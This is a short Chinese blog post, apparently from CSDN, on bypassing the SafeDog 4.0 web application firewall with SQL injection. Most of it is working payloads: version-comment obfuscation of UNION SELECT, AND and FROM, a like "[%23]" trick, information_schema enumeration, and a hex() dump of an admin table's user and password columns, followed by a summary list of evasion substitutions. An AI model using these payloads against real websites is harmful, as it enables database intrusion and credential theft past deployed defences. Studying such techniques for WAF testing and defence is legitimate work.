安全狗4.0绕过

流程

测试注入点

?id=1'

判断为数字型注入

?id=1 /*!12444and*/1=1

 查看回显

?id=1 like "[%23]" /*!12444union%0aselect*/1,2,3--+

 查看表名

?id=1 like "[%23]" /*!12444union%0aselect*/1,table_name,3 from /*%23*/ information_schema.tables where table_schema=database(/*!12444%0a*/) --+

 查看列名

?id=1 like "[%23]" /*!12444union%0aselect*/1,column_name,3 from /*%23*/ information_schema.columns where table_schema=database(/*!12444%0a*/) /*!12444and*/ table_name='admin'--+

 查数据

 这个错误是因为字段属性不一样

 改为hex()就行

?id=1 like "[%23]" /*!12444union%0aselect*/id,hex(user),hex(pwd) /*!12444from*/ /*%23*/ admin

再把hex转回去就行了 

问题汇总

这是可以的

爆表和列的时候from可以直接用,在爆数据的时候就触发安全狗了,很神奇

 

 简单来说

from后面用/*%23*/

union select用/*!12444union%0aselect*/绕过,用空格隔开/*!12444union*/ /*!12444select*/会触发安全狗

用/*!12444%0a*/代替空格

用/*!12444%and*/代替and

用/*!12444%from*/代替from

like "[%23]"这个很牛逼,代替like "#",这个真的很帅

参考文章:

奇安信攻防社区-安全狗4.0绕过

SQL注入报错:Illegal mix of collations for operation ‘UNION‘ (sqli-labs靶场MySQL数据库)_illegal mix of collations for operation 'union_陌兮_的博客-CSDN博客

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值